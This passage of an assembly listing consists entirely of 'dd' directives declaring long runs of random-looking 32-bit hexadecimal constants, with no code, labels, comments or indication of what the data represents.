		dd 0B8CDB298h, 88DF56C1h, 8BFCF7B0h, 7A63CBCEh,	851D508Eh
		dd 0CF0BA043h, 0DD028063h, 0BF2FAE96h, 0DDC6A826h, 857A490Eh
		dd 0E1956B67h, 7200E181h, 8F20AB7Bh, 86F0C692h,	51B3B03Ah
		dd 0FC7588D1h, 2784A039h, 0CE0BFB82h, 0F8D845C3h, 0D97AE801h
		dd 13C934EDh, 18E20C72h, 23572A7Bh, 7B2F5E3Bh, 11DFF4C7h
		dd 99130C9Ah, 93F4746Ah, 0CAAB557Fh, 301829FDh,	6FCBD8C8h
		dd 0CFB74A56h, 2892B58Fh, 0A80BE815h, 0C25DFACDh, 1287A87Bh
		dd 98E9AA00h, 98528729h, 2F7C4524h, 94521495h, 0A91D3AE3h
		dd 0D1D529C1h, 68005738h, 58E6A4E3h, 4E2A3297h,	0B4DF9445h
		dd 0B2CF0DB0h, 5BB9953Dh, 7EDD8E8Bh, 252B7C77h,	0C9219DD1h
		dd 6245956Eh, 688F61B5h, 0E30665ECh, 0A84CFC73h, 0FD0F9542h
		dd 99E9ED8Eh, 305F0B46h, 573FAE87h, 0F8E76D51h,	42EF3D1Ch
		dd 3BD93D12h, 1C804928h, 7E04BB4Eh, 0CD55F12Eh,	4E8803B8h
		dd 778D9D28h, 71215131h, 70580AACh, 4E71B3B1h, 382A9EF2h
		dd 559C07BCh, 2B50230Dh, 62C5BFECh, 91164B7Bh, 0D6EC55E3h
		dd 0E211732Bh, 1193551Ch, 0C50141E3h, 0FBA26631h, 7C4CC95Fh
		dd 53C5E8B0h, 465981F5h, 598B92AAh, 19DC1A3Dh, 3C1EAE1Ch
		dd 0AFF00CBBh, 7ABB83F7h, 7352A439h, 74AC8B3Fh,	40C54A32h
		dd 916FBC7Fh, 0E02DF4F1h, 0DDD2AD93h, 0E9B47FD7h, 5227DFF7h
		dd 99E1B642h, 815F6566h, 129C11A5h, 0C8EB98B6h,	2B452F11h
		dd 47FD8ECFh, 9D8DEFD4h, 12C56103h, 92B0D265h, 3791A058h
		dd 0E0E91809h, 4EE6DCA2h, 0C6123E43h, 4578303Ah, 2895767Eh
		dd 0BAA93B8Fh, 2ADD8BB7h, 2E7CEEEDh, 0EAD6B9BDh, 4099198Fh
		dd 0E86A3CB8h, 0AE737431h, 0A778DEC9h, 6F8906F9h, 11D0F87Ah
		dd 0BD6B9537h, 5D3CEC78h, 0DBCBF2F2h, 0ED10F386h, 799E26DCh
		dd 4EDD262Dh, 0AFBD7DC7h, 0F0513824h, 0F6DDF2BCh, 4A04D815h
		dd 5E0FFA69h, 0B2B0CA49h
		dd 2DB90452h, 0FA6603A3h, 26A38AC2h, 0C38FD754h, 116078A7h
		dd 0EEDD4AB2h, 0C255904Ah, 80F62FFBh, 989840ECh, 5148AA68h
		dd 531ED765h, 0A61AA503h, 0C6EB113Ch, 104C37ECh, 0C4F03F9Bh
		dd 4FFDE876h, 0B49EB69Fh, 2AE743EDh, 2BB3D362h,	283613BAh
		dd 70E3F3B3h, 33E74D12h, 11205AC8h, 2E7D637h, 0AE241846h
		dd 0C2D0FA08h, 0CACFB524h, 0B0564E06h, 76E4922Ch, 44C1112Fh
		dd 0A444B06h, 0C9B19C8Eh, 0A54BCFD3h, 9A9B058h,	0BD2C1A5Fh
		dd 59574495h, 0F3A82AA1h, 0BECCF9AEh, 0EEB2EDB2h, 7D43536Fh
		dd 8BC52AACh, 504F6BDDh, 90888ADh, 0CDA169ABh, 0F7E07D9Bh
		dd 8B66F2D4h, 949D5A90h, 0DD102FE2h, 934F1B46h,	47319077h
		dd 38FC6C0h, 0AF2C0114h, 62004110h, 18762E9Eh, 8D1F638Ch
		dd 3823D5BCh, 0FE3C303Ah, 2E6E1731h, 18CA94C5h,	0D183EC18h
		dd 559F59CCh, 0BD46043Ah, 94CB1410h, 8009A3Ah, 944E77E5h
		dd 5AA714E3h, 4ED602BEh, 86D86428h, 9611ED00h, 2F8E42CEh
		dd 696D2441h, 0B59D96BFh, 0B7EDE02Eh, 0C2B28AB4h, 89800560h
		dd 0FFD05782h, 0A811795Eh, 4E71C662h, 0DDB8DCAEh, 3D9FCE63h
		dd 0F0388634h, 4A1004EBh, 0FDA4F068h, 0DBBE3526h, 38CE3D38h
		dd 767B5657h, 3015609Bh, 7FF2A67Eh, 6D44EC96h, 0F311A44Ch
		dd 0E8BA89C3h, 8E637DC8h, 8CF5A428h, 2F7DAC79h,	0A8CDADE6h
		dd 0B43F82C4h, 6127AADDh, 287352A9h, 14E2A4E2h,	413D2216h
		dd 8CDFD2FEh, 0BCF19247h, 0B8B0AF15h, 0EC95CB0Ah, 0CAB145Dh
		dd 0D3958654h, 1F5CE9F8h, 407A4C21h, 54D3DF6Dh,	63F82EE0h
		dd 7163690Eh, 96396F2Dh, 0BA53F639h, 0D4DD25CBh, 0FE293934h
		dd 0A28E4396h, 17B872B5h, 71FDAF17h, 92B81287h,	9E6D21A0h
		dd 78161EA0h, 86DC6DE6h, 8114E30Ah, 3B09AE09h, 15FB70FBh
		dd 6DC5AD6h, 0B92F0328h, 0EFDE4208h, 3801FAA3h,	32B49F23h
		dd 7A07C124h, 7E3E39E7h, 95F6DAAFh, 7C5C120Eh, 0C03AC592h
		dd 0B9087DF3h, 70FAF3ECh, 0FCF355EEh, 5743E3h, 0BACD9CBCh
		dd 14B7CD6Ah, 2485033Fh, 9C59A27Ah, 6319D575h, 83E90800h
		dd 8AFE854h, 4DAF78C8h,	0C63CF7E6h, 319BE2EEh, 458F166Bh
		dd 3D9F7DFCh, 602F6D7Bh, 607AE781h, 5DE23575h, 84473619h
		dd 0A9F6A3A0h, 188638F2h, 8037BF68h, 0F3CE796h,	4B6CBC26h
		dd 0CD5AB9EBh, 589DEBEAh, 2F4F8CFFh, 0E6FF7A9Ah, 4EDF35CFh
		dd 0A6FA1D66h, 8DA1A30Fh, 0CC3CFC50h, 2FCB09Eh,	0A238C9C9h
		dd 92322A3Bh, 9943B096h, 0D4CC0338h, 4B682115h,	99C48A31h
		dd 36DD2BA0h, 9EAF3198h, 92014DC3h, 6300E8AFh, 206CEC6h
		dd 123A0050h, 33449975h, 0E14FF98h, 0F0346A9Eh,	270F7B75h
		dd 8E7360A7h, 3F89E66Ah, 0C1FAC714h, 0AD16C038h, 16078C5Eh
		dd 10E0E00Ch, 5DF826AEh, 86702D2Fh, 61CCA0C7h, 2BABD396h
		dd 0DA5DE654h, 22B61D53h, 0C00784EAh, 6E931FC5h, 88B9CD25h
		dd 0A08606FFh, 76D1DBC7h, 0F00E001Fh, 0E6811BCFh, 105994A5h
		dd 17F60132h, 879961D2h, 201F673Ah, 0C914BCAh, 2DB304B1h
		dd 1ACFB332h, 57AA20A6h, 3C9ADA64h, 0B2A1EC67h,	0CCE2CCFEh
		dd 0C15EF889h, 754B3845h, 0B1A89E19h, 0E450E192h, 4CF21B7Ah
		dd 908FCEC4h, 538B5D10h, 0A59763EDh, 4B133154h,	0E78F64D7h
		dd 0F487B359h, 4ED7DE5Bh, 3BF677BFh, 8B7F8D26h,	1F72FA05h
		dd 0E49E0E63h, 0F9111FE3h, 0A675432Ch, 1F88997Dh, 0AFF1673Dh
		dd 0C8700CCFh, 0EA6FC66Bh, 1C8C033Dh, 1CC9C029h, 55628F2Eh
		dd 2065F117h, 7CB0118h,	5F9BB774h, 29044F4h, 98D01F2Ah
		dd 54716952h, 0DA6AAEE4h, 69D6D9FEh, 0D2D1C212h, 59E6B365h
		dd 9E94CD7Ah, 2A5B45AEh, 3A93AA17h, 97FA296Bh, 5FC82633h
		dd 794B0400h, 0B666CD91h, 362F24F9h, 73BA7944h,	9240CE25h
		dd 7DC9D3C1h, 0F48ABD1Bh, 0C0A35E2Ch, 0D94CC9DFh, 9F913EC0h
		dd 52A723B4h, 581FCCC4h, 0C1D55265h, 0C1D9E29Ah, 6151F2EFh
		dd 0E80C975Fh, 0DAFD35D0h, 16512162h, 0CC546AE2h, 0BFA4136Fh
		dd 253DB3D5h, 0E5495401h, 836F6736h, 0C976FB2Ch, 33D4B29Dh
		dd 2A3026C5h, 0E03A24DDh, 979EDA72h, 73A64DEBh,	95EB1A83h
		dd 0DF83D1AEh, 4CE90AD7h, 511E7735h, 0C5BADBC5h, 0E4C7A497h
		dd 2ED0A121h, 33E2A23Ah, 6442F456h, 1A704CC3h, 75655B69h
		dd 4571306Bh, 0F1735BAAh, 0B8837E61h, 0E1230EF3h, 1BE88670h
		dd 0CD78B344h, 506B94C3h, 4F344A65h, 0FE7DC3F2h, 17510DC6h
		dd 5A61770Fh, 15DDDFBBh, 0B5AB13D9h, 0BE2DCE99h, 0E229F153h
		dd 0CF424841h, 7EBA3ADDh, 0B7AF0B90h, 0E1E7BA71h, 0D383EBBAh
		dd 7CB9712Bh, 0D6090B3h, 0CA7D4DAAh, 0CB5826DBh, 0EB3A507Ah
		dd 3E40B27Eh, 0ADABC90Dh, 9B3650CAh, 0F01C071Dh, 0A60AA093h
		dd 0E0EB2882h, 89FD06Bh, 3C69907Bh, 0F38E6E68h,	0B57B0ED9h
		dd 0A27C8D2Eh, 54954A7Bh, 3A5A1E8Dh, 0DEF9F958h, 59CBCA96h
		dd 4CF0ECE1h, 0BC710FFFh, 0EEF5BE45h, 7E139C5Ch, 0A8D74587h
		dd 45C3DEE4h, 2BBB405Fh, 642F437Ah, 0ECCBFBA9h,	0B143300Bh
		dd 0E4172249h, 0A532B4F0h, 0BE983FEEh, 211DC095h, 1E455A10h
		dd 0CEB3F413h, 5901A5B5h, 0F04D7D52h, 0DC735440h, 445D9B9Eh
		dd 7C42156Bh, 6EF489Fh,	58A7842Eh, 2E6EC885h, 146DA5Ah
		dd 7AE4CF0Eh, 64960C8Eh, 1F64111h, 0BD620D4Ah, 0DD605642h
		dd 0C1E46802h, 119EA86Eh, 0D9036C25h, 0E70C1C2Ch, 0E7728DBFh
		dd 9F07CF4Fh, 7CF014D0h, 0A4B568FDh, 238DD611h,	773DD2B0h
		dd 2750091Ch, 0A3260432h, 0A004CDECh, 1CD78F50h, 2E48B93Bh
		dd 6B61E325h, 422FF9E2h, 0C487D5Eh, 0B6DD7104h,	9C992B5Dh
		dd 0F25BCA01h, 7A258586h, 3C0F057Dh, 50C73FF3h,	784EEBDEh
		dd 71BB28B0h, 7FF6BDEEh, 0C4EE28B9h, 0EE69D75Bh, 54EE1634h
		dd 22BB5B0Bh, 826D680Ch, 0A2EA13Fh, 97930F2h, 205BF14Ch
		dd 976384B3h, 0F1386CF0h, 0BC19EA77h, 0E3AC511Bh, 0C63188B6h
		dd 0B26FB81Ch, 4F7221E7h, 0B8C29CF6h, 0E62E470Bh, 33C5D11Fh
		dd 9BD880A9h, 6E1D704Ah, 0FB3A1C72h, 0ED572205h, 0A987BF03h
		dd 83B8AB86h, 0D130A445h, 3982522Eh, 96C57DFh, 0A8EDB0F7h
		dd 401B59FDh, 1CAB2FE1h, 411FF789h, 1B1511DFh, 84F6F3F0h
		dd 31A9D6h, 69A9E2Bh, 0AF55BEBBh, 32B75443h, 4383378Eh
		dd 9613ACD2h, 0C7F26415h, 9E0973EEh, 0C5A25ECDh, 0AEA382E5h
		dd 6BD68896h, 0D6FA8119h, 0D4D7EBFCh, 11B52749h, 0B069987Ah
		dd 6AA02431h, 34F4E38h,	0E2812954h, 0AE55BB24h,	0CFF6D225h
		dd 600161B6h, 266CA8ABh, 0C45A949Dh, 0E41BDB79h, 2968530Ah
		dd 0F0F8635Fh, 643F07ECh, 0E7A91120h, 987CA8Bh,	466E511h
		dd 2F1EF26h, 2ED57C8Ah,	55266E8Eh, 0A3B86693h, 11D9C707h
		dd 0EA4A981Ah, 1A05779Dh, 7AD873DAh, 14D201BFh,	7CB6E967h
		dd 1A4E8551h, 0AFF1B27Ah, 32ED4BBBh, 38CF841Ah,	89953154h
		dd 654FF480h, 0DC430B45h, 0FE3ABF2Eh, 0E4F1EE90h, 0E055B98h
		dd 0BC4000F5h, 0E1FE0600h, 14F55606h, 0A11E2863h, 588007FDh
		dd 0D8127634h, 68035D5h, 0BB1D16A6h, 0FAA1DDCCh, 0E3B6CC89h
		dd 0C2ABFF6Eh, 401C64Ah, 30AFA8C4h, 45D184F6h, 0A56BDC63h
		dd 7FC1ECC4h, 1CC9CF88h, 5066C1FFh, 0DEEDD837h,	34E94247h
		dd 723B4139h, 0A3521B7Bh, 745FCBB3h, 0FD9E1634h, 1DD90C55h
		dd 7162CCF3h, 9151571Dh, 929D2C9Bh, 0F29939A6h,	4C2B361Fh
		dd 18787EBFh, 5CF5112Eh, 0B1221497h, 3666952Dh,	59CEF054h
		dd 4CCBAF4h, 1C188949h
		dd 0B53FFA09h, 7757C6Dh, 7CA9C99Eh, 8CB1F01Bh, 26EB2713h
		dd 0FCB41564h, 9077E515h, 9A4617A7h, 0C65142C6h, 23BE826Fh
		dd 5EEB47AFh, 0C506C329h, 0FFE67CFBh, 5BA90A84h, 0E9B5AB55h
		dd 13E6E14Eh, 316118ADh, 81F30B3Fh, 0DE489E04h,	0D6490C41h
		dd 91E22D7Fh, 0B9530A2Dh, 1E4E0518h, 6D279A68h,	6E7A286h
		dd 83872445h, 84AD20A7h, 8399B5F4h, 0AD2E382Dh,	371A1D35h
		dd 420F8167h, 3F469508h, 8E799764h, 0C1847554h,	65EDF95Eh
		dd 10D98353h, 850D7987h, 0A4467EEAh, 29C5DCF0h,	6D3838Bh
		dd 1A58F4B4h, 0BFA7A6D3h, 0D1E4F7FCh, 3D7320DDh, 7018BF56h
		dd 679E3F6Fh, 0C6B7C185h, 0B1CF2AAh, 8EC9D71Fh,	528D0A88h
		dd 1C4AC507h, 0F2101696h, 70883391h, 0A838EEAh,	33DB30Dh
		dd 637B9954h, 0F42BE155h, 0B008DD09h, 0F793110Dh, 9F49F6C6h
		dd 833D0E4Fh, 3D58F92Dh, 0BE6E3208h, 0F07343D6h, 6F13FB57h
		dd 0F6A1E29Ah, 0F047344h, 0FC8DCABFh, 0E1621CF8h, 936C3A49h
		dd 89D5D686h, 0CAC9655Ah, 0E20F6FEh, 0B5F720D5h, 1816627Fh
		dd 0E256E99h, 0A149D01Fh, 9C1D5D32h, 0F6FA7107h, 5DFD8A7Fh
		dd 614A008h, 0F5EF51DAh, 8A8F8D8Dh, 0F5ED6900h,	0B0B24C3Ch
		dd 0A8C32F82h, 0A16DE27Eh, 828D99B4h, 7E267B8Bh, 0ECDEE667h
		dd 0E1CFD221h, 5866A00Bh, 2D1FDE33h, 0CCCB1FAh,	0B48ED733h
		dd 3D8859C9h, 8776F640h, 6E3030A4h, 0C3394D78h,	0C91B0072h
		dd 72FF1B15h, 0DF232755h, 0FAE6876Dh, 0A0D4F4EFh, 0B9BDDB20h
		dd 0B2395A50h, 0F8C72414h, 0AC3DEB76h, 45FFD875h, 0F1942B22h
		dd 0D9C6ED4Ah, 0BF3CB117h, 229D4DD9h, 24D5B1C0h, 268CD7FDh
		dd 0A0E66B89h, 3B07072Ch, 52F93151h, 4451712Fh,	9A57A2E3h
		dd 0B3CF21F3h, 999D28E5h, 3B1F3FABh, 5B7E0BE2h,	0D527ED43h
		dd 0AC6A1F19h, 5648DDDAh, 89EE0CE9h, 4B26C6Dh, 134FFDA2h
		dd 86B4E108h, 674D3664h, 44C0847h, 910A7083h, 0B93DCB9Dh
		dd 626FA693h, 0CE699A33h, 0F81F41F1h, 67532F83h, 0AD943313h
		dd 0B4F360Ah, 618783FAh, 97ED43FAh, 3AA7B80Fh, 147BF40Fh
		dd 0B723ED02h, 5C69340Bh, 414B6F5Dh, 368A022h, 3389DD5Fh
		dd 5941176Eh, 82E03DCBh, 1303ACB8h, 4C203C37h, 3696B4F5h
		dd 0A670DD0Bh, 0D46D71A9h, 0C4A1B8B0h, 8ABE4AEEh, 4A0FA052h
		dd 658A8B33h, 0EEDD8B69h, 2BC9A6A2h, 5E1FD9DBh,	640E676Ch
		dd 0E16D3ACEh, 35D542EFh, 0C3C9C7AAh, 9CA1C34Dh, 9E9CFFF3h
		dd 9317EAA7h, 0C1FC390Eh, 3E09B06Ch, 70680F33h,	2EF5002Bh
		dd 76E11866h, 0FCE966D5h, 829AF4EFh, 0CC5524C9h, 10D9BEAFh
		dd 0A5312808h, 0EB7080FDh, 216B74EDh, 84588D2h,	0FF06CBDEh
		dd 0D4437D90h, 0A577F15Ch, 408EE513h, 5405EECFh, 0FD95ADB7h
		dd 4E4BB7F8h, 2017D39Ah, 2BFA2A4Fh, 0DB37A9EBh,	63A5EB29h
		dd 1E4FF017h, 89F4CB3h,	0C84361DBh, 0F40E5852h,	12C69A67h
		dd 0B0E53FF4h, 98400F2Dh, 9C188E31h, 762CABAAh,	0C01BEE88h
		dd 54F8223Dh, 42015D8Dh, 328C86FEh, 5FB5DD15h, 238FF1E2h
		dd 6B952CACh, 6305F1B4h, 31D98630h, 6FB73339h, 0D245C6DDh
		dd 385B43ECh, 0E6DCDAB9h, 4FF1FCF6h, 4FDC1BB2h,	358AF6E7h
		dd 0C14C7FBEh, 646AEBEh, 2B9397EAh, 80C5DC62h, 9924FF9Ch
		dd 0FFB37A9Ch, 3B3023A1h, 0FA941284h, 0BDA5E0A3h, 334369D0h
		dd 68E09B1Ch, 9ED0F7C0h, 2C541Fh, 2CB4231Fh, 0D0C50EE4h
		dd 0D015CE6h, 0F3DFB5E2h, 941AE113h, 0B80F4A6Ch, 0D2F83EDBh
		dd 1E1ED83h, 0B17B5EE4h, 5CF22E59h, 0A7A29CFDh,	29979418h
		dd 0EBA2EA5Fh, 989035DCh, 9D7299BAh, 0C23160B2h, 0AA1B39B1h
		dd 256C7CF8h, 2A4C54Fh,	0D8A3EE30h, 3E0025C7h, 41A27665h
		dd 91FBD105h, 55950C39h, 0B221550Ch, 775635D9h,	0BDC6F8DCh
		dd 0D4D15CA8h, 85F68F39h, 4D190653h, 13959DFh, 35AE3049h
		dd 7124DD23h, 555C2200h, 0D1E61116h, 5F38B16Bh,	8228D248h
		dd 0E5E35D65h, 0A60B87B5h, 64DB43BCh, 9DE43CAh,	0CE0B8724h
		dd 0AD4B563Dh, 33A82088h, 0D2AE58E5h, 4D59CC8Ah, 308C426Dh
		dd 86C4CD23h, 6B993093h, 0D5ED0972h, 0B4B41747h, 0D838F7F6h
		dd 0FA870CBCh, 70AEFDD1h, 112EF7D6h, 7A3BB5C2h,	0A51D1238h
		dd 0EE67D100h, 0B81938C1h, 0E06CBDBCh, 3DD65F43h, 5F8ED2DEh
		dd 62605C90h, 22ADB86Ch, 50755987h, 0F7B6FCEFh,	15BF70DDh
		dd 9E0F62ACh, 0ADFC8E8Bh, 1D5FDB2Ah, 0E2BE7973h, 0E0EF986Fh
		dd 46056E28h, 9DB44753h, 314D7E5Bh, 0BC3F5F2Ah,	4199BDE4h
		dd 0D17BDC64h, 0D6A54683h, 0C84AAAC7h, 0B67CF9D4h, 0CC617CA6h
		dd 0AB6C6B4h, 56A0B140h, 0E51338BBh, 0B066FDA8h, 9AB154D4h
		dd 0BB4828C6h, 0F4A7E01h, 0E6C29DF6h, 0AFC93412h, 55D22DB3h
		dd 38CEE604h, 0E74F31A4h, 404013FFh, 63C73831h,	92D93F28h
		dd 3D4EBBCh, 0DEC1C80Ch, 5359E751h, 5FB90646h, 170BB795h
		dd 3E5EBCACh, 55C59A52h, 0DCA70BA5h, 0E9C49FF9h, 62D0F170h
		dd 0B357DC57h, 0BAC2606Bh, 2A7A01D4h, 7F023925h, 0CAFD8EF6h
		dd 3C84A6CBh, 34226990h, 436C4E0Ah, 9A4D52EBh, 3A1C1F42h
		dd 0C7C23D19h, 4A708AC9h, 9F5D2D71h, 5E598C64h,	0EA4E4EE7h
		dd 0A12F7Eh, 0F85DE85Bh, 2E6CB542h, 3BF977DFh, 0E19E6482h
		dd 6D28C2C8h, 0CAC16402h, 0CC337632h, 34436CFBh, 5E650B28h
		dd 3EA78DD4h, 5CA969EAh, 0B05E2D11h, 4347F4B1h,	0D5D1E16Dh
		dd 0F053F911h, 8496A357h, 0D7628D36h, 0C75D07F5h, 1A23758Eh
		dd 64566A80h, 5B4D2F7Ch, 7711E8EAh, 0CA5CC76h, 330CAA63h
		dd 0F0EB75C7h, 9D26670h, 51AC4553h, 5225C457h, 104444C2h
		dd 0F1A99536h, 7992FC7Dh, 0B5039195h, 4273FCh, 138DD516h
		dd 0F615C273h, 0B5A30526h, 0F6F82A29h, 8F0E9BE8h, 0A851352h
		dd 0C0DE27h, 54EC99C6h,	0BB96C691h, 0EE44D2D9h,	0DC5AA13h
		dd 0E96CE2A5h, 6909EF68h, 0D145F1Ch, 0B55E607Eh, 0AA8D76F6h
		dd 876CD1A5h, 7CDD8F68h, 0ECA30BA6h, 0B616712Ah, 0C5FCBC23h
		dd 0A951B32Ch, 0B2D7F38Eh, 74B638ABh, 9BB23FA1h, 9C852F8h
		dd 26C5DBF8h, 3A8C513Bh, 9AE15863h, 0D8DCF253h,	5B9BD1FFh
		dd 0CD9CFBh, 8D32E1B3h,	3CC1D40Bh, 74271E0Ah, 0F5A88E5Ch
		dd 0F13A97Ah, 8C517EA3h, 39BFC6AAh, 0A1E416B1h,	1914B895h
		dd 40BB9E76h, 3C656B21h, 0EA4487BDh, 827154A0h,	3FF408BFh
		dd 4433A563h, 98325483h, 51806A64h, 89B393A7h, 0A314CF61h
		dd 4C4A4294h, 0B956590Fh, 35F612A1h, 5F27E176h,	0DCDC29CAh
		dd 1F1FB2C1h, 0E740EDBh, 7E94221Ch, 0D915635Dh,	90A6955Dh
		dd 4916A2BDh, 45F90FA4h, 2DF04830h, 0DB696D11h,	0E8EA98B7h
		dd 16F6AD83h, 0E2B408A9h, 800D7F18h, 6F6FC806h,	0D63C993Bh
		dd 0E3D5919Fh, 50DC9741h, 0C162F870h, 5285C944h, 31EA8042h
		dd 0DEB23F3Fh, 7C0B1055h, 3BAA8296h, 6E1E59B5h,	0E3A8EA8Ch
		dd 69273DE7h, 0F935D439h, 46C7A267h, 19F8F4EFh,	0B31CBE26h
		dd 710414Eh, 4E037622h,	4FC9E775h, 0F865DDEFh, 95CDEFB4h
		dd 0ABB6841Bh, 0E733C25Bh, 1325A5ACh, 9FBAB7DAh, 3618BDBEh
		dd 446F5940h, 933182A2h, 195CD979h, 0C4D46F6Bh,	57920Bh
		dd 0E6098AE3h, 0C3FB3356h, 0F2AD6407h, 40A270ECh, 1E8EFC8Fh
		dd 50808651h, 681F203Fh, 8562AE7Ch, 74DE8081h, 0A3E43151h
		dd 0C61B9EEBh, 0AADDCE10h, 0D07D8209h, 6D248B68h, 6875647Dh
		dd 4F374725h, 550E9B74h, 0B9021FB9h, 0BE322821h, 0C980FEE5h
		dd 55FDA737h, 8111C6B6h
		dd 60CED12Dh, 159D1539h, 57920F95h, 0C1C3550Fh,	0E814AE9Dh
		dd 94B4C350h, 91D91B78h, 44D22540h, 0FB5CC13Bh,	0DBABAC92h
		dd 0C7EE96D5h, 9DCC3B51h, 68D00DEh, 4F3B6E7Dh, 98DAC68Dh
		dd 0E1E16C0Ch, 0BD566A8Eh, 0A0C1F5DAh, 7296668Dh, 3B1A0171h
		dd 0BBAEDF9Dh, 0B0E3D810h, 0BF1FDF5Dh, 2693750Ah, 0F0DCB3h
		dd 8A639F00h, 0A98EAB4Fh, 5AD8E1F3h, 562CACD2h,	0AE8C033h
		dd 0C2E1C290h, 867B5883h, 269827A6h, 8F960219h,	0C161355Fh
		dd 4DD848FEh, 0BB4E9663h, 0FF2142CEh, 175E29B9h, 0EA379D4Fh
		dd 5059C02Eh, 0A3DCB8ECh, 6BE4B163h, 33F38BA3h,	43E3127Eh
		dd 989B95FBh, 0F57E7B3Bh, 0C977E35Bh, 2F1A4763h, 4355716Dh
		dd 51CD0226h, 347E2C78h, 4CCEB7FFh, 0CB40645h, 85BBE3D1h
		dd 30D02A7Fh, 952E6DD9h, 0DF80581Bh, 0F570B180h, 0A245DC00h
		dd 0BA319DAFh, 714CEF9Eh, 9E63D41Bh, 47C03B6Bh,	5D8EA3BFh
		dd 4E90DED0h, 9DFD6BBDh, 0FF3D9E57h, 5F1EF5E4h,	80187EC3h
		dd 0CF5FFFC8h, 0D9EA700Bh, 0B01457D6h, 7D3192DBh, 40ED704Fh
		dd 1817B7BCh, 9D43D0F1h, 0ACE60A8Ch, 0F7AC4EEh,	2B4BC009h
		dd 97FCBC09h, 0ED22D681h, 6F50AEA3h, 0BC4EFD42h, 2B789C6Bh
		dd 9DAD4AC0h, 634D7299h, 0A69C1E21h, 0CF173014h, 99594009h
		dd 20539E20h, 29BC73B1h, 0E51CC7FCh, 944059D7h,	17478651h
		dd 331CC9B7h, 19F42E2Ch, 855FE318h, 0A8C1BED4h,	2BE86473h
		dd 632A6AF0h, 4DBD6882h, 7447F5F3h, 8BC432FAh, 7F7AB529h
		dd 4132940Bh, 0BD14E8FFh, 3E9450B9h, 30048D17h,	0BB496C50h
		dd 3F656A42h, 0F94A0495h, 9B0F18C8h, 614CD887h,	3417F7A2h
		dd 12676AF3h, 53355292h, 0ACE4C26Dh, 0A1BC47C2h, 10304678h
		dd 212AE190h, 673B4946h, 8A83D69Ch, 6D3C74B0h, 3E76D17Eh
		dd 0A16ADE8Ch, 6BA52857h, 45A22D8Eh, 95353882h,	0F860CD6Eh
		dd 5EAB16C9h, 82381D8Dh, 0C4BB7A98h, 9EB13F62h,	307B7CB9h
		dd 7DD6C4F4h, 2B668DE6h, 8BBFEFE9h, 70F31DB1h, 94D63C10h
		dd 0AD604F05h, 0A46CE278h, 6FC9AEBAh, 0E4F6753Bh, 6571C8E9h
		dd 0F8487CE5h, 984690E9h, 7B3A772Eh, 92FFD2BEh,	5486C6C5h
		dd 0F57237FDh, 3D70D745h, 59730EBFh, 38D345E3h,	0A9FE56F1h
		dd 0E9CC1CD6h, 0F849D514h, 327F397Dh, 0C831869Bh, 880C1432h
		dd 36E0386Ch, 0CD441B12h, 4B8C763Ch, 3D4F9290h,	6B971FCDh
		dd 0C521A078h, 0B1E6D1E2h, 91332029h, 7FAC3CAFh, 0F14A7E7Ch
		dd 0F8D1972Ah, 0B469318Ah, 3E47E7CAh, 914FB4C2h, 851B86BCh
		dd 728697F9h, 0B119DAA5h, 0AE25A067h, 56C18E28h, 0AE22AE67h
		dd 0E0EEFB5Ah, 0A3ABC4E1h, 5C62029Bh, 9E97254Bh, 9C03EA4h
		dd 0C9715C6Ch, 7B93168Fh, 0A7F32244h, 0E36FF6Ah, 41C1074Bh
		dd 0F78D32F1h, 129339F8h, 89294319h, 999E1112h,	91A6DFDBh
		dd 733C6E97h, 86460067h, 4C5E217Eh, 0FBA4DE0Bh,	1771D95Ch
		dd 93E9F565h, 3E820931h, 87EA726Ah, 44A4E776h, 0E2DDCA05h
		dd 877D547Ah, 9EC7C8D1h, 9097D06Dh, 0A385650Ah,	8C4853CCh
		dd 0D59B5F9h, 1E2825F0h, 0EEA1F621h, 0FAC44211h, 5527971h
		dd 43CCE941h, 122551C6h, 11782DB7h, 7130B1FCh, 0A910AD50h
		dd 87FA8B25h, 431FFA96h, 2B0E7DA9h, 83FB8739h, 24387B7Ch
		dd 0BAA98276h, 0ACB6BF53h, 0F3E41ACFh, 6C6AD49h, 3717DD4Ah
		dd 0FC3F0232h, 3AE1067Dh, 2D7A50Bh, 15988158h, 0DBB0DA15h
		dd 0FEBD6588h, 0D1F871A3h, 0EEE37BB6h, 891BD82Eh, 5421B789h
		dd 9E632A05h, 40446EABh, 4DB15DAEh, 9A8BF7A2h, 2240392Bh
		dd 0A219868Bh, 43BCB37Eh, 0A4DB27F1h, 69E24E56h, 0D6ABF909h
		dd 33938F1Eh, 5799C6FDh, 3467DCDCh, 5DC0E45Ch, 4AFCFCCBh
		dd 0E9C553FFh, 0DF6EE9Ah, 8B83A83Bh, 1336F222h,	1665B02h
		dd 0A73C0FAFh, 0DA97817Ch, 98305061h, 87F09958h, 23DDD26Ch
		dd 0F65D4BBCh, 0ACCA2BA2h, 0E128CE4Ch, 0E55D4567h, 9D7EC8CDh
		dd 45E03FAh, 0F339C36Fh, 7DA6B525h, 572825Bh, 0E332FA63h
		dd 7F5F566Fh, 0EEA09ECAh, 555ED6F3h, 2E6A50CDh,	0D614C8CEh
		dd 0B5B3F53Fh, 0BE1CBF8Ah, 3DEAEB2Dh, 790732D3h, 609704C9h
		dd 0B497BD27h, 0C94C1018h, 0A0635577h, 28E2EF73h, 0FEB8EBF7h
		dd 47C28D5Ah, 0C8804D26h, 0C473E067h, 0A84CE2A1h, 390EE0D9h
		dd 0CCDD8F2Bh, 38D6382Bh, 0D62FDDDAh, 0E11B43ECh, 61410859h
		dd 0D50C9BA4h, 959B91C7h, 0B5025B20h, 0A38287E3h, 90DDA2FAh
		dd 19887CE9h, 455EF084h, 2A061E38h, 5F9BD869h, 0F1D5897Ah
		dd 0CCFAC04Bh, 51FE8065h, 3C5A7EB1h, 94251705h,	638D5F6Eh
		dd 0BB73B0E5h, 0D1452E58h, 997AAD9Bh, 79707E4Fh, 90CC348Eh
		dd 0DD6EFFC3h, 0C7BD069h, 93E86FD4h, 8AF08715h,	384010E8h
		dd 0E8009534h, 2765CE1Ah, 0AA361D9Fh, 9EBB002Eh, 0F6655A7Dh
		dd 9A9DEE4Eh, 7DD07867h, 0EF5B280h, 5416331Ch, 359A6A36h
		dd 0A50569E6h, 0B411EA6Fh, 2151576Dh, 72C831D9h, 44DE049Bh
		dd 517F972Ah, 0E32C6CE4h, 22E630F4h, 1079F1FDh,	0D0FE68E3h
		dd 8A753FAh, 667F966h, 0B9689710h, 4FC3D660h, 0A245B020h
		dd 6496ED74h, 0E8E328BEh, 0D80ADFE9h, 7BC5B731h, 90E69AC9h
		dd 1E1168BBh, 24321355h, 3B7F7C2h, 693DAB80h, 878A01DBh
